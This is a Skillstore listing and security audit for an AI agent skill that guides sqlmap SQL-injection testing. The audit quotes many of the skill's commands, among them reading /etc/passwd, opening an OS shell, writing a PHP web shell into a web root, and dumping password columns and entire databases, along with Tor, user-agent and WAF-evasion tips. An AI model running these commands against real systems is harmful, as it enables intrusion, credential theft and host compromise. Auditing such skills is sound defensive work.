Skills sqlmap-database-pentesting
📦
sqlmap-database-pentesting
v1.1 Content revision r1 Critical ⚙️ External commands🌐 Network access
Audit SQL Injection With sqlmap
SQL injection testing requires careful scope, repeatable checks, and clear reporting. This skill gives authorized testers a structured sqlmap workflow from detection through evidence review.
Supports: Claude Codex Code(CC)
Do not auto-install this skill.
The canonical policy requires operator review before any installation action.
Install with my Agent
Copy this request to your Agent. It includes the canonical Skill page and manifest.
Agent request
Review the Skillstore skill "sqlmap-database-pentesting" from https://skillstore.io/skills/sickn33-sqlmap-database-pentesting.md and its manifest at https://skillstore.io/api/skills/sickn33-sqlmap-database-pentesting/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Your Agent should still show its plan and request any confirmation required by the security policy.
Agent-readable resources
Use these links when an AI agent, crawler, or script needs clean context instead of reading the full page.
Test it
Using "sqlmap-database-pentesting". A tester asks how to confirm a suspected SQL injection in staging.
Expected outcome:
The skill returns a scoped sequence: verify authorization, start with non-destructive detection, record evidence, and stop before data extraction.
Using "sqlmap-database-pentesting". A consultant needs a report outline after a sqlmap assessment.
Expected outcome:
The skill produces sections for scope, affected parameters, injection type, limited evidence, business impact, and remediation guidance.
Using "sqlmap-database-pentesting". A developer wants to reproduce a lab vulnerability safely.
Expected outcome:
The skill suggests using a local training target, limiting requests, avoiding real credentials, and validating the fixed query afterward.
Security Audit
Criticalv5 • 7/9/2026 Open versioned report
Many static external-command hits are Markdown formatting false positives, but confirmed sqlmap testing and data extraction guidance remains. Semantic review found credential dumping, evasion, bulk scanning, OS shell, system file read, and web shell placement guidance.
1
Files scanned
406
Lines analyzed
71
Review items
0
False positives ignored
Confirmed security concerns (7)
Critical
System password file access
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
The command explicitly reads /etc/passwd from the target host through sqlmap. This is system password file access and a critical post-exploitation risk.
Critical
System reconnaissance
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
The command executes whoami on the target host through sqlmap. Remote OS command execution confirms a real host-level compromise risk.
Critical
Remote Host Compromise And Web Shell Placement
The advanced section instructs use of OS shell access, OS command execution, target file reads, and file writes to a web root. This moves from database testing into host compromise capability.
The section directly includes OS shell, OS command, system file read, and PHP shell upload examples. The host compromise intent is explicit.
High
Credential And Sensitive Data Extraction Workflow
The skill identifies usernames, passwords, password hashes, and sensitive data as deliverables and provides sqlmap dump workflows. Authorization language is present, but the workflow can enable data exfiltration if used outside scope.
The deliverables and examples explicitly mention dumped records, usernames, passwords, hashes, and credential columns. This is direct sensitive data extraction guidance.
High
Evasion And Anonymity Guidance
The skill includes Google dork target discovery, random User-Agent settings, delays to avoid rate limits, Tor proxying, and tamper scripts for WAF bypass. These instructions increase abuse potential beyond basic vulnerability validation.
The cited sections explicitly describe dork-based discovery, rate-limit avoidance, anonymity, and WAF bypass tooling. These are clear evasion indicators in context.
Medium
System reconnaissance
- Consider `--delay` to avoid triggering rate limits
The line recommends delays to avoid triggering rate limits. This is evasion guidance, not mere system reconnaissance.
Medium
Bulk Target Scanning Workflow
The skill explains bulk URL files and gives examples that prepare multiple targets for sqlmap scanning. Bulk scanning can exceed scope quickly when authorization boundaries are not enforced.
The cited sections show sqlmap multi-target inputs and example bulkfile creation. The risk is contextual but clearly present.
Capability review items (71)
These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.
Critical
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch
The command requests an interactive OS shell through sqlmap. That is post-exploitation remote command capability on the target host.
Critical
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
The command executes whoami on the target host through sqlmap. Remote OS command execution is critical-impact behavior.
Critical
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
The command reads /etc/passwd from the target host through sqlmap. Reading system files is a critical post-exploitation action.
Critical
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/ht
The command writes a PHP shell into the web root through sqlmap. Web shell placement is critical host compromise guidance.
High
Ruby/shell backtick execution
- `--dump`: Extract all data from specified table
The line describes dumping all data from a table. This is actionable database data extraction guidance.
High
Ruby/shell backtick execution
- `--dump-all`: Extract all data from all tables
The line describes dumping all data from all tables. Full database extraction is high-impact if used outside strict authorization.
High
Ruby/shell backtick execution
- `-C`: Specify column names to extract
The line describes selecting columns to extract. It supports targeted data extraction from a vulnerable database.
High
Ruby/shell backtick execution
| Dump Data | `sqlmap -u "URL" -D dbname -T tablename --dump --batch` |
This is an actionable sqlmap command to dump table data. Data extraction from a target database is high impact.
High
Ruby/shell backtick execution
| Dump All | `sqlmap -u "URL" -D dbname --dump-all --batch` |
This is an actionable sqlmap command to dump all database data. Full extraction creates high risk if authorization or minimization fails.
High
Ruby/shell backtick execution
| Stacked queries | Executes multiple statements | `--technique=S` |
The line documents stacked queries that execute multiple statements. That raises risk beyond simple detection.
High
Ruby/shell backtick execution
| Out-of-band | Uses DNS or HTTP for exfiltration | `--technique=Q` |
The line describes out-of-band DNS or HTTP exfiltration. That is clear data-exfiltration technique guidance.
High
Ruby/shell backtick execution
| `-m` | Bulk file with multiple targets |
The line documents bulk target files for sqlmap. Bulk scanning increases risk when scope controls are weak.
High
Ruby/shell backtick execution
| `-g` | Google dork (use responsibly) |
The line documents Google dork target discovery. Finding targets through search queries can enable unauthorized scanning.
High
Ruby/shell backtick execution
| `--dump` | Dump table data |
The line documents table data dumping. Dumping data from a target database is high-impact behavior.
High
Ruby/shell backtick execution
| `--dump-all` | Dump all database data |
The line documents dumping all database data. Full extraction is high risk outside tightly controlled tests.
High
Ruby/shell backtick execution
| `-C` | Specify columns |
The line documents selecting columns for sqlmap extraction. Targeted column extraction often includes sensitive fields.
High
Ruby/shell backtick execution
| `--random-agent` | Use random User-Agent |
The line documents randomizing the User-Agent. That is evasion-oriented guidance for avoiding simple detection.
High
Ruby/shell backtick execution
- Limit dumps with `--start` and `--stop` for large tables
The line discusses limiting data dumps, confirming the workflow includes database extraction. Data dumping remains sensitive even when bounded.
High
Ruby/shell backtick execution
- Use `--random-agent` to vary User-Agent header
The line recommends randomizing User-Agent headers. That is evasion guidance for sqlmap traffic.
High
Ruby/shell backtick execution
- Consider `--delay` to avoid triggering rate limits
The line recommends delay settings to avoid rate limits. This is evasion-oriented operational guidance.
High
Ruby/shell backtick execution
- Proxy through Tor with `--tor` for anonymity (authorized tests only)
The line recommends Tor proxying for anonymity. Anonymity guidance materially increases abuse risk.
High
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
The command dumps table data from a target database through sqlmap. That is high-impact network exploitation guidance.
High
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --
The command targets username and password columns for dumping. It directly supports credential extraction.
High
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch
The command dumps all database data through sqlmap. Full extraction creates high risk if misused.
High
Hardcoded URL
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
The command dumps user table data from a real public demo host. Even in a demo context, it demonstrates data extraction.
High
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3
The command raises sqlmap level and risk settings against an HTTP target. Aggressive testing can be intrusive and disruptive.
High
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ
The command enables all sqlmap techniques, including intrusive and out-of-band approaches. This is high-risk exploitation guidance.
High
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" \
This starts a multi-line sqlmap command whose surrounding context targets administrator credential columns. It supports credential extraction.
High
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" \
This starts a multi-line sqlmap command whose surrounding context dumps users and requests password handling. It supports credential extraction.
Medium
Ruby/shell backtick execution
- `-u`: Target URL with injectable parameter
The line documents the sqlmap target option for an injectable URL. It is actionable external tool guidance, though not code executed by the Markdown file.
Medium
Ruby/shell backtick execution
- `--dbs`: Enumerate database names
The line instructs database-name enumeration with sqlmap. This is a real reconnaissance capability against a target database.
Medium
Ruby/shell backtick execution
- `--batch`: Use default answers (non-interactive mode)
The line promotes non-interactive sqlmap execution, which enables automated testing. It is not code execution in the file but is actionable command guidance.
Medium
Ruby/shell backtick execution
- `-D`: Specify target database name
The line describes selecting a target database for sqlmap enumeration. This supports database reconnaissance during an assessment.
Medium
Ruby/shell backtick execution
- `--tables`: Enumerate table names
The line directs table-name enumeration with sqlmap. Enumerating database structure is a real security-impacting action on a target.
Medium
Ruby/shell backtick execution
- `-T`: Specify target table name
The line describes selecting a target table for sqlmap. This supports deeper database enumeration after injection is found.
Medium
Ruby/shell backtick execution
- `--columns`: Enumerate column names
The line directs column-name enumeration with sqlmap. Column discovery can expose sensitive data structure.
Medium
Ruby/shell backtick execution
| List Databases | `sqlmap -u "URL" --dbs --batch` |
This is an actionable sqlmap command for database enumeration. It invokes an external security tool against a target URL.
Medium
Ruby/shell backtick execution
| List Tables | `sqlmap -u "URL" -D dbname --tables --batch` |
This is an actionable sqlmap command for table enumeration. It invokes an external tool against target database metadata.
Medium
Ruby/shell backtick execution
| List Columns | `sqlmap -u "URL" -D dbname -T tablename --columns --batch` |
This is an actionable sqlmap command for column enumeration. It can reveal sensitive schema details.
Medium
Ruby/shell backtick execution
| Boolean-based blind | Infers data from true/false responses | `--technique=B` |
The line documents a blind SQL injection technique. It is exploit methodology guidance, not a harmless formatting artifact.
Medium
Ruby/shell backtick execution
| Time-based blind | Uses time delays to infer data | `--technique=T` |
The line documents time-based blind SQL injection. This is actionable exploit technique guidance.
Medium
Ruby/shell backtick execution
| Error-based | Extracts data from error messages | `--technique=E` |
The line documents error-based SQL injection extraction. It can be used to retrieve data from database error behavior.
Medium
Ruby/shell backtick execution
| UNION query-based | Uses UNION to append results | `--technique=U` |
The line documents UNION-based SQL injection. This is actionable SQL injection exploitation guidance.
Medium
Ruby/shell backtick execution
| `-u` | Target URL |
The line documents the target URL option for sqlmap. It is part of actionable external network testing guidance.
Medium
Ruby/shell backtick execution
| `-r` | Load HTTP request from file |
The line documents loading a captured HTTP request into sqlmap. This enables automated testing of request parameters.
Medium
Ruby/shell backtick execution
| `-l` | Parse targets from Burp/WebScarab log |
The line documents parsing targets from proxy logs. This enables broader automated target discovery for sqlmap.
Medium
Ruby/shell backtick execution
| `--dbs` | Enumerate databases |
The line documents database enumeration with sqlmap. This is actionable reconnaissance of target database names.
Medium
Ruby/shell backtick execution
| `--tables` | Enumerate tables |
The line documents table enumeration with sqlmap. This is actionable database structure reconnaissance.
Medium
Ruby/shell backtick execution
| `--columns` | Enumerate columns |
The line documents column enumeration with sqlmap. This can expose sensitive schema details.
Medium
Ruby/shell backtick execution
| `-D` | Specify database |
The line documents selecting a database for sqlmap. It supports database enumeration and extraction workflows.
Medium
Ruby/shell backtick execution
| `-T` | Specify table |
The line documents selecting a table for sqlmap. It supports targeted database enumeration and extraction.
Medium
Ruby/shell backtick execution
| `--batch` | Non-interactive mode |
The line documents non-interactive sqlmap execution. Automation can increase operational risk if scope is wrong.
Medium
Ruby/shell backtick execution
| `--level` | Level of tests (1-5) |
The line documents increasing sqlmap test level. More tests can raise impact and noise on the target.
Medium
Ruby/shell backtick execution
| `--risk` | Risk of tests (1-3) |
The line documents increasing sqlmap risk. Higher-risk tests can be disruptive or more intrusive.
Medium
Ruby/shell backtick execution
- Use `--threads` to speed up enumeration (default: 1)
The line suggests increasing threads to speed enumeration. Faster automated probing can increase target load.
Medium
Ruby/shell backtick execution
- Use `--technique` to specify faster injection method if known
The line recommends selecting injection techniques. It is actionable SQL injection exploitation guidance.
Medium
Hardcoded URL
http://target.com/page.php?id=1'
The line demonstrates a manual SQL injection probe against an HTTP parameter. The domain is a placeholder, but the technique is actionable network testing guidance.
Medium
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" --batch
The command runs sqlmap against an HTTP target for vulnerability detection. This is real network scanning guidance, even though the host is a placeholder.
Medium
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
The command runs sqlmap with verbose output against an HTTP target. It is actionable network scanning guidance.
Medium
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
The command runs sqlmap database enumeration against an HTTP target. This performs networked database reconnaissance.
Medium
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
The command runs sqlmap table enumeration against an HTTP target. This is actionable network reconnaissance.
Medium
Hardcoded URL
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
The command runs sqlmap column enumeration against an HTTP target. It can reveal target schema details.
Medium
Hardcoded URL
# http://target1.com/page.php?id=1
The line is a commented bulk-target example. It still shows how to prepare multiple HTTP targets for sqlmap scanning.
Medium
Hardcoded URL
# http://target2.com/page.php?id=2
The line is a commented bulk-target example. It contributes to bulk sqlmap scanning guidance.
Medium
Hardcoded URL
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
The command targets a real public demo host with sqlmap. The host is intentionally vulnerable, but the skill still initiates external network testing.
Medium
Hardcoded URL
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
The command enumerates tables on a real public demo host. It remains external sqlmap network activity.
Medium
Hardcoded URL
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
The command enumerates columns on a real public demo host. It remains external sqlmap network activity.
Medium
Hardcoded URL
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
The line writes a private IP target into a bulk scan file. It supports multi-target network scanning, despite using RFC1918 space.
Medium
Hardcoded URL
echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt
The line appends another private IP target to a bulk scan file. It supports multi-target network scanning.
Medium
Hardcoded IP address
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
The line writes a private IP target into a bulk scan file. It supports multi-target network scanning, despite using RFC1918 space.
Medium
Hardcoded IP address
echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt
The line appends another private IP target to a bulk scan file. It supports multi-target network scanning.
Risk Factors
⚙️ External commands (50)
SKILL.md:19 SKILL.md:39-45 SKILL.md:45-48 SKILL.md:48-54 SKILL.md:54-59 SKILL.md:59-61 SKILL.md:61-64 SKILL.md:64-65 SKILL.md:65-66 SKILL.md:66-71 SKILL.md:71-73 SKILL.md:73-76 SKILL.md:76-77 SKILL.md:77-82 SKILL.md:82-84 SKILL.md:84-87 SKILL.md:87-88 SKILL.md:88-93 SKILL.md:93-95 SKILL.md:95-98 SKILL.md:98-100 SKILL.md:100-103 SKILL.md:103-105 SKILL.md:105-108 SKILL.md:108-109 SKILL.md:109-110 SKILL.md:110-115 SKILL.md:115-118 SKILL.md:118-121 SKILL.md:121-124 SKILL.md:124-127 SKILL.md:127-132 SKILL.md:132-135 SKILL.md:135-138 SKILL.md:138-146 SKILL.md:146-147 SKILL.md:147-148 SKILL.md:148-149 SKILL.md:149-150 SKILL.md:150-173 SKILL.md:173-174 SKILL.md:174-175 SKILL.md:175-176 SKILL.md:176-177 SKILL.md:177-178 SKILL.md:178-184 SKILL.md:184-185 SKILL.md:185-186 SKILL.md:186-187 SKILL.md:187-188
🌐 Network access (27)
SKILL.md:41 SKILL.md:50 SKILL.md:53 SKILL.md:60 SKILL.md:72 SKILL.md:83 SKILL.md:94 SKILL.md:99 SKILL.md:104 SKILL.md:129 SKILL.md:130 SKILL.md:233 SKILL.md:237 SKILL.md:241 SKILL.md:245 SKILL.md:264 SKILL.md:265 SKILL.md:274 SKILL.md:277 SKILL.md:283 SKILL.md:290 SKILL.md:300 SKILL.md:303 SKILL.md:306 SKILL.md:309 SKILL.md:264 SKILL.md:265
Detected Patterns
System password file accessSystem reconnaissance×2
Audited by: codex View Audit History →
Share & cite this report
Share the versioned assessment report, neutral badge, embed card, and citations. Skillstore reports evidence without deciding whether this Skill is safe.
Copy report link
https://skillstore.io/skills/sickn33-sqlmap-database-pentesting/audits/5?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown badge
[](https://skillstore.io/skills/sickn33-sqlmap-database-pentesting?utm_source=security_passport_badge)HTML badge
<a href="https://skillstore.io/skills/sickn33-sqlmap-database-pentesting?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-sqlmap-database-pentesting/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Embed card
<iframe src="https://skillstore.io/embed/skills/sickn33-sqlmap-database-pentesting.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Academic citations (APA · BibTeX · CFF)
APA citation
sickn33. (2026). sqlmap-database-pentesting security audit report (audit version 5) [Author version 1.1]. Skillstore. https://skillstore.io/skills/sickn33-sqlmap-database-pentesting/audits/5BibTeX citation
@techreport{sickn33-sickn33-sqlmap-database-pentesting-2026,
author = {sickn33},
title = {sqlmap-database-pentesting security audit report (audit version 5)},
institution = {Skillstore},
year = {2026},
number = {5},
url = {https://skillstore.io/skills/sickn33-sqlmap-database-pentesting/audits/5},
note = {Author version 1.1}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "sqlmap-database-pentesting security audit report (audit version 5)"
version: "1.1"
type: report
authors:
- name: "sickn33"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/sickn33-sqlmap-database-pentesting/audits/5"
identifiers:
- type: other
value: "skillstore:sickn33-sqlmap-database-pentesting:audit:5"
description: "Skillstore immutable audit report identifier"
Skillstore Score
Why this score Evidence Confidence: Medium 55
Architecture
85
Maintainability
87
Content
69
Community
83
Spec Compliance
What You Can Build
Validate a Staging SQL Injection Finding
Use a scoped workflow to confirm injection behavior and capture limited evidence for remediation.
Plan an Authorized Client Assessment
Organize sqlmap steps around written scope, allowed targets, evidence limits, and reporting needs.
Reproduce a Lab Vulnerability
Practice sqlmap detection and enumeration against a training application before fixing the vulnerable query.
Try These Prompts
Plan a Safe First Check
Help me plan an authorized sqlmap check for my staging application. Include scope checks, a minimal detection step, and evidence to collect.
Review a Captured Request
I have a Burp request from an application I own. Help me decide which parameter to test with sqlmap and how to limit impact.
Create an Evidence Checklist
Build a concise evidence checklist for an authorized SQL injection assessment. Separate detection proof, database metadata, and remediation notes.
Reduce Risk in an Advanced Plan
Review this sqlmap assessment plan for a client environment with written authorization. Flag steps that exceed scope and propose safer alternatives.
Best Practices
- Confirm written authorization, target scope, and testing windows before running sqlmap.
- Collect the minimum evidence needed and avoid dumping sensitive production data.
- Document injection type, affected parameter, impact, and precise remediation steps.
Avoid
- Running sqlmap against third-party systems without explicit written permission.
- Using evasion, anonymity, or aggressive risk settings outside approved test rules.
- Dumping full databases or password data when a limited proof is sufficient.
Frequently Asked Questions
Is this skill only for authorized testing?
Yes. The workflow should only be used on systems where the tester has explicit written permission.
Does the skill run sqlmap automatically?
No. It provides guidance and command patterns. The operator controls whether any command is executed.
Can it prove SQL injection without dumping data?
Yes. A limited detection result and affected parameter evidence are often enough for remediation.
Does it support POST requests?
Yes. The skill explains request-file workflows for captured HTTP requests from authorized applications.
What makes this skill risky?
It includes sqlmap guidance for database enumeration, data extraction, evasion, and host-level features.
What should teams do after a confirmed finding?
Fix the vulnerable query, use parameterized statements, retest the endpoint, and rotate exposed credentials if needed.
Developer Details
Author
sickn33License
MIT
Author version
v1.1
Skillstore revision
r1
Version notice
The author-declared version is not valid SemVer.
Repository
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/sqlmap-database-pentestingRef
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
Maintenance freshness
7/18/2026
Usage
10 downloads · 115 views
File structure
📄 SKILL.md